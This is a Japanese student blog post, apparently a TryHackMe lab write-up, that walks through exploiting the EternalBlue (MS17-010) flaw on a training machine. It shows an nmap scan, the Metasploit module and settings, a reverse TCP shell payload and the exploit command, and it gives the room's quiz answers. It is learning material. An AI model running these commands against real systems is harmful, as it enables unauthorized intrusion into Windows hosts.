前置き
この記事は、大学2年の春休みにインプット力とアウトプット力を鍛えるべく毎日記事を投稿する試みの第3本目の記事です。
筆者は記事投稿経験がほぼ無く、プログラミング歴も2年ほどと浅いです。ですので間違い等を発見された場合は優しくご指摘ください。
また今回取り扱った内容を許可なく他人の環境に使用し攻撃を行った場合は罪に問われます。
決して行わないでください。また一切の責任は負いません。
はじめに
自分はたまにCTFのWebやフォレンジックを解いていましたが、実践に近い形でマシンを攻略するにはHTBのstarting pointを問いた程度でした。この春にHTBのレート上げたいと思い、基礎学習としてTHMをやっていたところ、この問題を見つけたのでリハビリのつもりで行いました。
環境の作り方などは機会があればまとめますが今回は省略します。
手順
1.Recon
まず初めに空いてるポートを調べるべく、nmapを使ってポートスキャンします。
そのさい以下のように環境変数に設定して置くと楽です。
IP = 10.10....
cat $IP
10.10....
また記事を参考にこのようなオプションにしています。
nmap -p- --min -rate 10000 $IP
参考記事
するとこのように出ました。
ということで最初の答えは3となります。
続いての問題の際、回答例のms08-067が何かわからなかったので調べました。
するとMicrosoftの脆弱性番号であることがわかります。空いてるポートと問題から、windoswのエターナルブルーに関する情報を調べると、MS17_010というマイクロソフトセキュリティ情報のページがでてきます。
ということでここの答えはMS17_010が入ります
2.Gain Access
metasploitを使えとあるので、起動します。
また先程の問題でMS17_010が今回使う脆弱性とわかったので、それに関するエクスプロイトを探します。
msfconsole
search ms17-010
この用にでてきたので、答えはexploit/windows/smb/ms17_010_eternalblue が入ります。
早速使用するために設定していきます。またどのようにして使うか調べるためにオプションを表示します。
use exploit/windows/smb/ms17_010_eternalblue
show options
このように出てきました。
Requriedがyesかつ空欄はRHOSTSだけなので、必要なのはRHOSTSとわかります。
答えはRHOSTSです。
あとはこのようにセットして実行します。
set payload windows/x64/shell/reverse_tcp
set rhost 10.10....
exploit -z
exploit結構長いので気長に待ちましょう。
ここで私はうまくいかなかったので、ブラウザの仮想マシンを使うとうまくいきました。
しかしながらこの後のIDとパスワードを取得したところでブラウザのマシンの時間が終了してしまったため、キリのいいここで記事を切り続きは明日投稿します。
続き